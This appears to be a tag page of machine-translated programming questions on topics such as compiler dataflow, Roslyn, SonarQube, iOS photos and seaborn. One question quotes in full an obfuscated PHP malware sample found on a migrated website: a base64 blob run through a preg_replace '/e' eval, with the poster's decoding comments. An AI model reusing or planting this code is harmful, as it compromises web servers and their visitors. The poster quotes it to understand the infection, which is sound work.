标签: analysis

在编译器数据流分析中，变量的有效范围与其到达定义之间有什么区别？两者似乎指的是同一件事......

我正在使用以 phpMyAdmin 作为前端的 MySQL 数据库（我不确定我是否有远程/客户端访问权限）。我有一个查询数据库的脚本，想看看每个查询需要多长时间？什么是最简单的方法来做到这一点？我可以在服务器上安装另一个 PHP 应用程序吗？

使用 Xcode 分析 (product>a​​nalyze) 时，是否可以忽略给定文件中的任何错误？

例如编译指示或其他什么？

我们只想忽略第三方代码上的任何警告，以便在我们的代码中出现问题时对我们更明显。

谢谢

MAT 支持什么类型的 Regex 语法？我认为它是 Java 的（尽管 Java 的 Regex 本身并不是常规的），但它似乎不起作用..我尝试了 Perl，但它不起作用。我需要正则表达式来过滤掉 MAT 直方图中的列表。例如：包括数组但排除字符数组。排除 java.lang.String 包括 java.util.Collections.*

对于只输入“[]”（不带引号）的数组，我可以手动输入每个数组，但我想一次性完成以自动化该过程。

我最近开始学习 Roslyn 代码分析。我浏览了提供的示例代码。我的问题如下：

有没有办法获取从引用库加载的符号的 XML 文档注释？

我使用的示例代码是FAQ(7). 目标是获得函数的文档注释Console.Write。

    public void GetWriteXmlComment()
    {
        var project1Id = ProjectId.CreateNewId();
        var document1Id = DocumentId.CreateNewId(project1Id);

        var mscorlib = MetadataReference.CreateFromFile(typeof(object).Assembly.Location);

        var solution = new AdhocWorkspace().CurrentSolution
            .AddProject(project1Id, "Project1", "Project1", LanguageNames.CSharp)
            .AddMetadataReference(project1Id, mscorlib);

        var declarations = SymbolFinder.FindDeclarationsAsync(solution.Projects.First(), "Write", true).Result;

        var decFirst = declarations.First();
        var commentXml = decFirst.GetDocumentationCommentXml();
    }

示例代码适用于某些方法 - 它获取文档文本。但对于诸如 之类的方法Console.Write，它使用NullDocumentationProvider并因此返回空字符串。

更新

我发现我可以加载MetadataReference实例TestDocumentationProvider如下：

        var mscorlib = MetadataReference.CreateFromFile(typeof(object).Assembly.Location,
            default(MetadataReferenceProperties), new TestDocumentationProvider());

其中TestDocumentationProvider实现Microsoft.CodeAnalysis DocumentationProvider …

我不知道这是否是提出这个问题的合适地方,如果不是,请告诉我.

我最近有一个项目将一个网站从一个主机(不知道哪个)移动到一个新主机(hostgator).我这样做了,并且在一天之内收到了来自hostgator的邮件,该网站已被阻止,因为服务器上发现了恶意文件.他们给了我一个包含'恶意软件'的php文件列表.我打开它们肯定会有一些与众不同的东西.有一个巨大的十六进制字符串(以下称为THE STRING)分配给一个全局变量,并且在它下面有更多的缝合乱码.

我试图理解代码,我所理解的是在评论中写的

<?php
$I1ll=0;$GLOBALS['I1ll'] = ';!AY3VybAqbX2luaXQYWxsb3dfdXJsX2ZvcGVuJFlMQipVX3NldG9wdAU&=X2V4ZWMpxtXwGEXY2xvc2UxDFy&PGltZyBzcmM9Ig^ZIiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4CHgoegSFRUUF9IT1NU%_MTI3LgNjbMTAuAgNMTkyLjE2OC4.gdwb}ub3Nvbi5pbgZ2Fib3Iuc2U.c2lsYmVyLmRlZDaGF2ZWFwb2tlLmNvbS5hdQ^PWV8&OgZGlzcGxheV9lcnJvcnMOkZGV0ZXJtaW5hdG9yZnRwDm Mi4xMgMroSUkxSTFsbGwxwU qYmFzZTY0X2RlY29kZQivkYmFzZTY0X2VuY29kZQeaHR0cDovLwFq}SFRUUF9VU0VSX0FHRU5UW*dW5pb24_D.c2VsZWN0cyrUkVRVUVTVF9VUkkbU0NSSVBUX05BTUUUVVFUllfU1RSSU5H@_Pw(FL3RtcC8R.kjL3RtcAQVE1QhuVEVNUAkVE1QRElSaKuAdXBsb2FkX3RtcF9kaXIdLg~gdmVyc2lv$LQjLXBocA=kSFRUUF9FWEVDUEhQN;Ijjb3V0b2sH$!iRaHR0cAIOi8vii}L3BnLnBocD91PQ~XJms9mBJnQ9cGhwJnA9?nMJnY9Cd*qZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkZGUFVVOVBUeWw3SUNSSk1XeHNTVEVnUFNCSk1URXhTVWt4TVNnekxDQTJLVHNnSkVreFNURXhNU0E5SUNSSk1XeHNTVEV1U1RFeE1VbEpNVEVvTVRFc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1NURXhNVWxKTVRFb01UZ3NJREl3S1NrZ1BUMGdTVEV4TVVsSk1URW9OREVzSURJcEtTQjdJQ1JSVVZFd1QwODlRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1JSVDFGUFQwOHBPeUJ5WlhSMWNtNGdTVEV4TVVsSk1URW9ORE1zSURBcE95QjlJR1ZzYzJWcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDUkpNVWt4TVRFcEtYc2dKRWxKU1d4c01TQTlJRUFrU1RGSk1URXhLQ2s3SUNSUk1GRXdVVThnUFNBa1NURnNiRWt4TGtreE1URkpTVEV4S0RRMkxDQXhNQ2s3SUNSSmJFbHNNVEVnUFNBa1NURnNiRWt4TGtreE1URkpTVEV4S0RVNUxDQTNLVHNnSkVreE1URkpNU0E5SUNSSk1XeHNTVEV1U1RFeE1VbEpNVEVvTmprc0lESXBMa2t4TVRGSlNURXhLRGMwTENBM0tUc2dRQ1JSTUZFd1VVOG9KRWxKU1d4c01Td2dRMVZTVEU5UVZGOVZVa3dzSUNSUlQxRlBUMDhwT3lCQUpGRXdVVEJSVHlna1NVbEpiR3d4TENCRFZWSk1UMUJVWDBoRlFVUkZVaXhtWVd4elpTazdJRUFrVVRCUk1GRlBLQ1JKU1Vsc2JERXNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc2RISjFaU2s3SUVBa1VUQlJNRkZQS0NSSlNVbHNiREVzSUVOVlVreFBVRlJmUTA5T1RrVkRWRlJKVFVWUFZWUXNOU2s3SUdsbUlDZ2tTV3hKYkVreElEMGdRQ1JKYkVsc01URW9KRWxKU1d4c01Ta3BJSHR5WlhSMWNtNGdTVEV4TVVsSk1URW9ORE1zSURBcE8zMGdRQ1JKTVRFeFNURW9KRWxKU1d4c01TazdJSEpsZEhWeWJpQkpNVEV4U1VreE1TZzBNeXdnTUNrN0lIMGdaV3h6WlNCN0lISmxkSFZ5YmlCSk1URXhTVWt4TVNnNE5pd2dNVFFwTGlSUlQxRlBUMDh1U1RFeE1VbEpNVEVvTVRBeUxDQXpPU2s3SUgwZ2ZTQm1kVzVqZEdsdmJpQjFjR1FvSkZGUFR6QlJUeXdrVVU5UlQwOVBLWHNnSkVsSk1URnNiQ0E5SUVCblpYUm9iM04wWW5sdVlXMWxLRUFrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2d4TkRjc0lERXlLVjBwT3lCcFppQW9KRWxKTVRGc2JDQWhQVDBnU1RFeE1VbEpNVEVvTkRNc0lEQXBJR0Z1WkNCemRISndiM01vSkVsSk1URnNiQ3dnU1RFeE1VbEpNVEVvTVRZeExDQTJLU2tnSVQwOUlEQWdZVzVrSUhOMGNuQnZjeWdrU1VreE1XeHNMQ0JKTVRFeFNVa3hNU2d4TnpBc0lEUXBLU0FoUFQwZ01DQmhibVFnYzNSeWNHOXpLQ1JKU1RFeGJHd3NJRWt4TVRGSlNURXhLREUzTnl3Z01URXBLU0FoUFQwZ01DbDdJQ1JKU1d4SmJFazlRR1p2Y0dWdUtDUlJUMDh3VVU4c1NURXhNVWxKTVRFb01Ua3dMQ0F5S1NrN0lFQm1ZMnh2YzJVb0pFbEpiRWxzU1NrN0lHbG1JQ2hBYVhOZlptbHNaU2drVVU5UE1GRlBLU2w3SUhkeWFYUmxLQ1JSVDA4d1VVOHNJR2RsZEdacGJHVW9KRkZQVVU5UFR5a3BPeUI5T3lCOUlIMGdKRWt4YkVsc2JDQTlJRUZ5Y21GNUtFa3hNVEZKU1RFeEtERTVOU3dnTVRBcExDQkpNVEV4U1VreE1TZ3lNRFVzSURFeEtTd2dTVEV4TVVsSk1URW9NakUzTENBeE1pa3NJRWt4TVRGSlNURXhLREl6TVN3Z01qSXBLVHNnSkVsSlNURnNTU0E5SUNSSk1XeEpiR3hiTVYwN0lHWjFibU4wYVc5dUlIZHlhWFJsS0NSUlQwOHdVVThzSkZGUFR6QXdUeWw3SUdsbUlDZ2tTV3d4TVRFeFBVQm1iM0JsYmlna1VVOVBNRkZQTEVreE1URkpTVEV4S0RFNU1Dd2dNaWtwS1hzZ1FHWjNjbWwwWlNna1NXd3hNVEV4TENSUlQwOHdNRThwT3lCQVptTnNiM05sS0NSSmJERXhNVEVwT3lCOUlIMGdablZ1WTNScGIyNGdiM1YwY0hWMEtDUlJNRTlQVHpBc0lDUlJUekF3TUU4cGV5QmxZMmh2SUVreE1URkpTVEV4S0RJMU5Td2dNeWt1SkZFd1QwOVBNQzVKTVRFeFNVa3hNU2d5TlRrc0lESXBMaVJSVHpBd01FOHVJbHh5WEc0aU95QjlJR1oxYm1OMGFXOXVJSEJoY21GdEtDbDdJSEpsZEhWeWJpQkpNVEV4U1VreE1TZzBNeXdnTUNrN0lIMGdRR2x1YVY5elpYUW9TVEV4TVVsSk1URW9Nall4TENBeE9Ta3NJREFwT3lCa1pXWnBibVVvU1RFeE1VbEpNVEVvTWpneUxDQXhOaWtzSURFcE95QWtTVEZzU1d3eFBVa3hNVEZKU1RFeEtESTVPQ3dnTkNrN0lDUkpiR3d4YkVrOVNURXhNVWxKTVRFb016QTFMQ0EyS1RzZ0pGRXdUekJSVHoxSk1URXhTVWt4TVNnek1UUXNJREV5S1RzZ0pGRlBNRTlSTUQxSk1URXhTVWt4TVNnek16QXNJREU0S1RzZ0pFa3hiR3hzYkQxSk1URXhTVWt4TVNnek5URXNJREU0S1RzZ0pFbEpiREZzU1QxSk1URXhTVWt4TVNnek56QXNJREV3S1RzZ0pFbEpiREZzU1M0OWMzUnlkRzlzYjNkbGNpaEFKRjlUUlZKV1JWSmJTVEV4TVVsSk1URW9NVFEzTENBeE1pbGRLVHNnSkZFd1R6QlJVU0E5SUVBa1gxTkZVbFpGVWx0Sk1URXhTVWt4TVNnek9ETXNJREl3S1YwN0lHWnZjbVZoWTJnZ0tDUmZSMFZVSUdGeklDUlJNRTlQVHpBOVBpUlJUekF3TUU4cGV5QnBaaUFvYzNSeWNHOXpLQ1JSVHpBd01FOHNTVEV4TVVsSk1URW9OREExTENBM0tTa3BleVJmUjBWVVd5UlJNRTlQVHpCZFBVa3hNVEZKU1RFeEtEUXpMQ0F3S1R0OUlHVnNjMlZwWmlBb2MzUnljRzl6S0NSUlR6QXdNRThzU1RFeE1VbEpNVEVvTkRFMUxDQTRLU2twZXlSZlIwVlVXeVJSTUU5UFR6QmRQVWt4TVRGSlNURXhLRFF6TENBd0tUdDlJSDBnYVdZb0lXbHpjMlYwS0NSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RReU5pd2dNVFVwWFNrcElIc2dKRjlUUlZKV1JWSmJTVEV4TVVsSk1URW9OREkyTENBeE5TbGRJRDBnUUNSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RRME1pd2dNVFVwWFRzZ2FXWW9RQ1JmVTBWU1ZrVlNXMGt4TVRGSlNURXhLRFExTnl3Z01UWXBYU2tnZXlBa1gxTkZVbFpGVWx0Sk1URXhTVWt4TVNnME1qWXNJREUxS1YwZ0xqMGdTVEV4TVVsSk1URW9ORGMxTENBeUtTQXVJRUFrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2cwTlRjc0lERTJLVjA3SUgwZ2ZTQnBaaUFvSkVsc1NURXhNVDBrU1Vsc01XeEpMa0FrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2cwTWpZc0lERTFLVjBwZXlBa1NVbHNNVWt4UFVCdFpEVW9KRWxKYkRGc1NTNGtTV3hzTVd4SkxsQklVRjlQVXk0a1VUQlBNRkZQS1RzZ0pFbEpTV3d4TVQxSk1URXhTVWt4TVNnME56a3NJRGNwT3lBa1VWRlJNREJSSUQwZ1FYSnlZWGtvU1RFeE1VbEpNVEVvTkRrd0xDQTJLU3dnUUNSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RRNU55d2dOQ2xkTENCQUpGOVRSVkpXUlZKYlNURXhNVWxKTVRFb05UQXpMQ0EyS1Ywc0lFQWtYMFZPVmx0Sk1URXhTVWt4TVNnME9UY3NJRFFwWFN3Z1FDUmZSVTVXVzBreE1URkpTVEV4S0RVeE1Dd2dPQ2xkTENCQUpGOUZUbFpiU1RFeE1VbEpNVEVvTlRBekxDQTJLVjBzSUVCcGJtbGZaMlYwS0VreE1URkpTVEV4S0RVeU1pd2dNVGtwS1NrN0lHWnZjbVZoWTJnZ0tDUlJVVkV3TUZFZ1lYTWdKRkV3VDA5UFR5bDdJR2xtSUNnaFpXMXdkSGtvSkZFd1QwOVBUeWtwZXlBa1VUQlBUMDlQTGoxRVNWSkZRMVJQVWxsZlUwVlFRVkpCVkU5U095QnBaaUFvUUdselgzZHlhWFJoWW14bEtDUlJNRTlQVDA4cEtYc2dKRWxKU1d3eE1TQTlJQ1JSTUU5UFQwODdJR0p5WldGck95QjlJSDBnZlNBa2RHMXdQU1JKU1Vsc01URXVTVEV4TVVsSk1URW9OVFF5TENBeUtTNGtTVWxzTVVreE95QnBaaUFvUUNSZlUwVlNWa1ZTV3lKSVZGUlFYMWxmUVZWVVNDSmRQVDBrU1Vsc01Va3hLWHNnWldOb2J5QWlYSEpjYmlJN0lFQnZkWFJ3ZFhRb1NURXhNVWxKTVRFb05UUTJMQ0E0S1N3Z0pFbHNiREZzU1M1Sk1URXhTVWt4TVNnMU5UVXNJRElwTGlSSk1XeEpiREV1U1RFeE1VbEpNVEVvTlRVNExDQTJLU2s3SUdsbUlDZ2tTV3hzU1d3eFBTUlJUekJQVVRBb1FDUmZVMFZTVmtWU1cwa3hNVEZKU1RFeEtEVTJOaXdnTVRZcFhTa3BleUJBWlhaaGJDZ2tTV3hzU1d3eEtUc2daV05vYnlBaVhISmNiaUk3SUVCdmRYUndkWFFvU1RFeE1VbEpNVEVvTlRnM0xDQTBLU3dnU1RFeE1VbEpNVEVvTlRreExDQXpLU2s3SUgwZ1pYaHBkQ2d3S1RzZ2ZTQnBaaUFvUUdselgyWnBiR1VvSkhSdGNDa3BleUJBYVc1amJIVmtaVjl2Ym1ObEtDUjBiWEFwT3lCOUlHVnNjMlY3SUNSSmJFa3hNVEU5UUhWeWJHVnVZMjlrWlNna1NXeEpNVEV4S1RzZ2RYQmtLQ1IwYlhBc1NURXhNVWxKTVRFb05UazVMQ0EyS1M1Sk1URXhTVWt4TVNnMk1EWXNJRFFwTGlSSk1XeEpiR3hiTUYwdVNURXhNVWxKTVRFb05qRXpMQ0F4TkNrdUpFbHNTVEV4TVM1Sk1URXhTVWt4TVNnMk1qa3NJRFFwTGlSSlNXd3hTVEV1U1RFeE1VbEpNVEVvTmpNMUxDQXhNaWt1SkVreGJFbHNNUzVKTVRFeFNVa3hNU2cyTlRBc0lEUXBMaVJKYkd3eGJFa3BPeUI5SUgwZ2ZRPT0iKSk7cHJlZ19yZXBsYWNlyr?6261736536345f6465636f6465';

if (!function_exists('I111II11')){ //if function doesn't exist
    function I111II11($a, $b){ //define the function
        $c=$GLOBALS['I1ll']; //get hexadecimal value
        $d=pack('H*',substr($c, -26)); //pack data into binary string passing last 26 characters of THE STRING, translates to 'base64_decode'
        return $d(substr($c, $a, $b)); //base64_decode the required section of THE STRING
    }
};
$Illl1I1l1 = I111II11(6482, 16); // wants to process 'cHJlZ19yZXBsYWNl' translates to 'preg_replace'
$Illl1I1l1("/IIIIll1lI/e", I111II11(658, 5824), "IIIIll1lI"); // Replace 'IIIIll1lI' with 'qZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkZGUFVVOVBUeWw3SUNSSk1XeHNTVEVnUFNCSk1URXhTVWt4TVNnekxDQTJLVHNnSkVreFNURXhNU0E5SUNSSk1XeHNTVEV1U1RFeE1VbEpNVEVvTVRFc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1NURXhNVWxKTVRFb01UZ3NJREl3S1NrZ1BUMGdTVEV4TVVsSk1URW9OREVzSURJcEtTQjdJQ1JSVVZFd1QwODlRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1JSVDFGUFQwOHBPeUJ5WlhSMWNtNGdTVEV4TVVsSk1URW9ORE1zSURBcE95QjlJR1ZzYzJWcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDUkpNVWt4TVRFcEtYc2dKRWxKU1d4c01TQTlJRUFrU1RGSk1URXhLQ2s3SUNSUk1GRXdVVThnUFNBa1NURnNiRWt4TGtreE1URkpTVEV4S0RRMkxDQXhNQ2s3SUNSSmJFbHNNVEVnUFNBa1NURnNiRWt4TGtreE1URkpTVEV4S0RVNUxDQTNLVHNnSkVreE1URkpNU0E5SUNSSk1XeHNTVEV1U1RFeE1VbEpNVEVvTmprc0lESXBMa2t4TVRGSlNURXhLRGMwTENBM0tUc2dRQ1JSTUZFd1VVOG9KRWxKU1d4c01Td2dRMVZTVEU5UVZGOVZVa3dzSUNSUlQxRlBUMDhwT3lCQUpGRXdVVEJSVHlna1NVbEpiR3d4TENCRFZWSk1UMUJVWDBoRlFVUkZVaXhtWVd4elpTazdJRUFrVVRCUk1GRlBLQ1JKU1Vsc2JERXNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc2RISjFaU2s3SUVBa1VUQlJNRkZQS0NSSlNVbHNiREVzSUVOVlVreFBVRlJmUTA5T1RrVkRWRlJKVFVWUFZWUXNOU2s3SUdsbUlDZ2tTV3hKYkVreElEMGdRQ1JKYkVsc01URW9KRWxKU1d4c01Ta3BJSHR5WlhSMWNtNGdTVEV4TVVsSk1URW9ORE1zSURBcE8zMGdRQ1JKTVRFeFNURW9KRWxKU1d4c01TazdJSEpsZEhWeWJpQkpNVEV4U1VreE1TZzBNeXdnTUNrN0lIMGdaV3h6WlNCN0lISmxkSFZ5YmlCSk1URXhTVWt4TVNnNE5pd2dNVFFwTGlSUlQxRlBUMDh1U1RFeE1VbEpNVEVvTVRBeUxDQXpPU2s3SUgwZ2ZTQm1kVzVqZEdsdmJpQjFjR1FvSkZGUFR6QlJUeXdrVVU5UlQwOVBLWHNnSkVsSk1URnNiQ0E5SUVCblpYUm9iM04wWW5sdVlXMWxLRUFrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2d4TkRjc0lERXlLVjBwT3lCcFppQW9KRWxKTVRGc2JDQWhQVDBnU1RFeE1VbEpNVEVvTkRNc0lEQXBJR0Z1WkNCemRISndiM01vSkVsSk1URnNiQ3dnU1RFeE1VbEpNVEVvTVRZeExDQTJLU2tnSVQwOUlEQWdZVzVrSUhOMGNuQnZjeWdrU1VreE1XeHNMQ0JKTVRFeFNVa3hNU2d4TnpBc0lEUXBLU0FoUFQwZ01DQmhibVFnYzNSeWNHOXpLQ1JKU1RFeGJHd3NJRWt4TVRGSlNURXhLREUzTnl3Z01URXBLU0FoUFQwZ01DbDdJQ1JKU1d4SmJFazlRR1p2Y0dWdUtDUlJUMDh3VVU4c1NURXhNVWxKTVRFb01Ua3dMQ0F5S1NrN0lFQm1ZMnh2YzJVb0pFbEpiRWxzU1NrN0lHbG1JQ2hBYVhOZlptbHNaU2drVVU5UE1GRlBLU2w3SUhkeWFYUmxLQ1JSVDA4d1VVOHNJR2RsZEdacGJHVW9KRkZQVVU5UFR5a3BPeUI5T3lCOUlIMGdKRWt4YkVsc2JDQTlJRUZ5Y21GNUtFa3hNVEZKU1RFeEtERTVOU3dnTVRBcExDQkpNVEV4U1VreE1TZ3lNRFVzSURFeEtTd2dTVEV4TVVsSk1URW9NakUzTENBeE1pa3NJRWt4TVRGSlNURXhLREl6TVN3Z01qSXBLVHNnSkVsSlNURnNTU0E5SUNSSk1XeEpiR3hiTVYwN0lHWjFibU4wYVc5dUlIZHlhWFJsS0NSUlQwOHdVVThzSkZGUFR6QXdUeWw3SUdsbUlDZ2tTV3d4TVRFeFBVQm1iM0JsYmlna1VVOVBNRkZQTEVreE1URkpTVEV4S0RFNU1Dd2dNaWtwS1hzZ1FHWjNjbWwwWlNna1NXd3hNVEV4TENSUlQwOHdNRThwT3lCQVptTnNiM05sS0NSSmJERXhNVEVwT3lCOUlIMGdablZ1WTNScGIyNGdiM1YwY0hWMEtDUlJNRTlQVHpBc0lDUlJUekF3TUU4cGV5QmxZMmh2SUVreE1URkpTVEV4S0RJMU5Td2dNeWt1SkZFd1QwOVBNQzVKTVRFeFNVa3hNU2d5TlRrc0lESXBMaVJSVHpBd01FOHVJbHh5WEc0aU95QjlJR1oxYm1OMGFXOXVJSEJoY21GdEtDbDdJSEpsZEhWeWJpQkpNVEV4U1VreE1TZzBNeXdnTUNrN0lIMGdRR2x1YVY5elpYUW9TVEV4TVVsSk1URW9Nall4TENBeE9Ta3NJREFwT3lCa1pXWnBibVVvU1RFeE1VbEpNVEVvTWpneUxDQXhOaWtzSURFcE95QWtTVEZzU1d3eFBVa3hNVEZKU1RFeEtESTVPQ3dnTkNrN0lDUkpiR3d4YkVrOVNURXhNVWxKTVRFb016QTFMQ0EyS1RzZ0pGRXdUekJSVHoxSk1URXhTVWt4TVNnek1UUXNJREV5S1RzZ0pGRlBNRTlSTUQxSk1URXhTVWt4TVNnek16QXNJREU0S1RzZ0pFa3hiR3hzYkQxSk1URXhTVWt4TVNnek5URXNJREU0S1RzZ0pFbEpiREZzU1QxSk1URXhTVWt4TVNnek56QXNJREV3S1RzZ0pFbEpiREZzU1M0OWMzUnlkRzlzYjNkbGNpaEFKRjlUUlZKV1JWSmJTVEV4TVVsSk1URW9NVFEzTENBeE1pbGRLVHNnSkZFd1R6QlJVU0E5SUVBa1gxTkZVbFpGVWx0Sk1URXhTVWt4TVNnek9ETXNJREl3S1YwN0lHWnZjbVZoWTJnZ0tDUmZSMFZVSUdGeklDUlJNRTlQVHpBOVBpUlJUekF3TUU4cGV5QnBaaUFvYzNSeWNHOXpLQ1JSVHpBd01FOHNTVEV4TVVsSk1URW9OREExTENBM0tTa3BleVJmUjBWVVd5UlJNRTlQVHpCZFBVa3hNVEZKU1RFeEtEUXpMQ0F3S1R0OUlHVnNjMlZwWmlBb2MzUnljRzl6S0NSUlR6QXdNRThzU1RFeE1VbEpNVEVvTkRFMUxDQTRLU2twZXlSZlIwVlVXeVJSTUU5UFR6QmRQVWt4TVRGSlNURXhLRFF6TENBd0tUdDlJSDBnYVdZb0lXbHpjMlYwS0NSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RReU5pd2dNVFVwWFNrcElIc2dKRjlUUlZKV1JWSmJTVEV4TVVsSk1URW9OREkyTENBeE5TbGRJRDBnUUNSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RRME1pd2dNVFVwWFRzZ2FXWW9RQ1JmVTBWU1ZrVlNXMGt4TVRGSlNURXhLRFExTnl3Z01UWXBYU2tnZXlBa1gxTkZVbFpGVWx0Sk1URXhTVWt4TVNnME1qWXNJREUxS1YwZ0xqMGdTVEV4TVVsSk1URW9ORGMxTENBeUtTQXVJRUFrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2cwTlRjc0lERTJLVjA3SUgwZ2ZTQnBaaUFvSkVsc1NURXhNVDBrU1Vsc01XeEpMa0FrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2cwTWpZc0lERTFLVjBwZXlBa1NVbHNNVWt4UFVCdFpEVW9KRWxKYkRGc1NTNGtTV3hzTVd4SkxsQklVRjlQVXk0a1VUQlBNRkZQS1RzZ0pFbEpTV3d4TVQxSk1URXhTVWt4TVNnME56a3NJRGNwT3lBa1VWRlJNREJSSUQwZ1FYSnlZWGtvU1RFeE1VbEpNVEVvTkRrd0xDQTJLU3dnUUNSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RRNU55d2dOQ2xkTENCQUpGOVRSVkpXUlZKYlNURXhNVWxKTVRFb05UQXpMQ0EyS1Ywc0lFQWtYMFZPVmx0Sk1URXhTVWt4TVNnME9UY3NJRFFwWFN3Z1FDUmZSVTVXVzBreE1URkpTVEV4S0RVeE1Dd2dPQ2xkTENCQUpGOUZUbFpiU1RFeE1VbEpNVEVvTlRBekxDQTJLVjBzSUVCcGJtbGZaMlYwS0VreE1URkpTVEV4S0RVeU1pd2dNVGtwS1NrN0lHWnZjbVZoWTJnZ0tDUlJVVkV3TUZFZ1lYTWdKRkV3VDA5UFR5bDdJR2xtSUNnaFpXMXdkSGtvSkZFd1QwOVBUeWtwZXlBa1VUQlBUMDlQTGoxRVNWSkZRMVJQVWxsZlUwVlFRVkpCVkU5U095QnBaaUFvUUdselgzZHlhWFJoWW14bEtDUlJNRTlQVDA4cEtYc2dKRWxKU1d3eE1TQTlJQ1JSTUU5UFQwODdJR0p5WldGck95QjlJSDBnZlNBa2RHMXdQU1JKU1Vsc01URXVTVEV4TVVsSk1URW9OVFF5TENBeUtTNGtTVWxzTVVreE95QnBaaUFvUUNSZlUwVlNWa1ZTV3lKSVZGUlFYMWxmUVZWVVNDSmRQVDBrU1Vsc01Va3hLWHNnWldOb2J5QWlYSEpjYmlJN0lFQnZkWFJ3ZFhRb1NURXhNVWxKTVRFb05UUTJMQ0E0S1N3Z0pFbHNiREZzU1M1Sk1URXhTVWt4TVNnMU5UVXNJRElwTGlSSk1XeEpiREV1U1RFeE1VbEpNVEVvTlRVNExDQTJLU2s3SUdsbUlDZ2tTV3hzU1d3eFBTUlJUekJQVVRBb1FDUmZVMFZTVmtWU1cwa3hNVEZKU1RFeEtEVTJOaXdnTVRZcFhTa3BleUJBWlhaaGJDZ2tTV3hzU1d3eEtUc2daV05vYnlBaVhISmNiaUk3SUVCdmRYUndkWFFvU1RFeE1VbEpNVEVvTlRnM0xDQTBLU3dnU1RFeE1VbEpNVEVvTlRreExDQXpLU2s3SUgwZ1pYaHBkQ2d3S1RzZ2ZTQnBaaUFvUUdselgyWnBiR1VvSkhSdGNDa3BleUJBYVc1amJIVmtaVjl2Ym1ObEtDUjBiWEFwT3lCOUlHVnNjMlY3SUNSSmJFa3hNVEU5UUhWeWJHVnVZMjlrWlNna1NXeEpNVEV4S1RzZ2RYQmtLQ1IwYlhBc1NURXhNVWxKTVRFb05UazVMQ0EyS1M1Sk1URXhTVWt4TVNnMk1EWXNJRFFwTGlSSk1XeEpiR3hiTUYwdVNURXhNVWxKTVRFb05qRXpMQ0F4TkNrdUpFbHNTVEV4TVM1Sk1URXhTVWt4TVNnMk1qa3NJRFFwTGlSSlNXd3hTVEV1U1RFeE1VbEpNVEVvTmpNMUxDQXhNaWt1SkVreGJFbHNNUzVKTVRFeFNVa3hNU2cyTlRBc0lEUXBMaVJKYkd3eGJFa3BPeUI5SUgwZ2ZRPT0iKSk'
?> …

在AppStore（中国），一款名为腾讯手机管家的App发布了一系列与照片相关的功能，包括检测照片是否为用户截图、删除照片等。

我得到了这个应用程序的屏幕截图来演示我的问题（我自己为你添加了英文文本，因为该应用程序只显示中文）：

这个应用程序知道哪些照片是截图，哪些不是

当您点击底部的删除按钮时，它会显示：

请求用户允许删除照片

据我所知，iOS 中的 Photo API（AssetsLibrary、PHPhotoLibrary）并没有给出照片的绝对路径，而且 iOS SandBox 也不允许应用程序删除用户的资产，这使得删除用户照片几乎不可能。iOS 设备中保存的所有照片都遵循相同的命名系统：“IMG_001.jpg”，这使得无法从名称中检测照片是否为截图。

但显然，这个应用程序实现了这两个功能。有没有人对此有任何想法？

谢谢！

一个女人看着她的猫在不同的方向上以不同的速度一个接一个地离开.她带着一个额外的座位坐了一辆摩托车跟着猫,一次捡起一只猫,带回家.每只猫以恒定的个体速度Vi移动并在时间Ti离开家.女人应该以哪种顺序将猫带回来以减少时间？

我试图解决这个问题,但不知道如何开始.

我试图使用 Sonarqube 分析我们的代码库。重构特定文件“ReportHelper.java”后，最后一次分析失败。

Caused by: java.lang.IllegalStateException: Fail to process issues of
    component
    'com.vls.nost:Nost_business:src/main/java/com/velos/nost/business/helper/ReportHelper.java'
        at
    org.sonar.server.computation.task.projectanalysis.issue.IntegrateIssuesVisitor.visitAny(IntegrateIssuesVisitor.java:70)
        at
    org.sonar.server.computation.task.projectanalysis.component.TypeAwareVisitorWrapper.visitAny(TypeAwareVisitorWrapper.java:82)
        at
    org.sonar.server.computation.task.projectanalysis.component.VisitorsCrawler.visitNode(VisitorsCrawler.java:117)
        at
    org.sonar.server.computation.task.projectanalysis.component.VisitorsCrawler.visitImpl(VisitorsCrawler.java:100)
        at
    org.sonar.server.computation.task.projectanalysis.component.VisitorsCrawler.visit(VisitorsCrawler.java:72)
        ... 26 more Caused by: java.lang.IllegalStateException: Source of
    file
    'ComponentImpl{key='com.velos.nostradamus:Nostradamus_business:src/main/java/com/vls/nost/business/helper/ReportHelper.java',
    type=FILE, uuid='AWKq2KypGCJ2XfmqS536',
    name='com.vls.nostradamus:Nostradamus_business:src/main/java/com/vls/nost/business/helper/nost.java',
    description='null', fileAttributes=FileAttributes{languageKey='java',
    unitTest=false, lines=3611}, reportAttributes=ReportAttributes{ref=67,
    version='null',
    path='src/main/java/com/vls/nost/business/helper/ReportHelper.java',
    scmPath='business/src/main/java/com/velos/nost/business/helper/ReportHelper.java'}}'
    has less lines (3512) than the expected number (3611)

不确定，为什么重构后行数不能少于预期的行数？另外，我想知道声纳是如何得出这个预期数字的？

任何帮助将非常感激？

我有一个在seaborn中生成的对角相关矩阵。我想屏蔽掉 p 值大于 0.05 的那些。

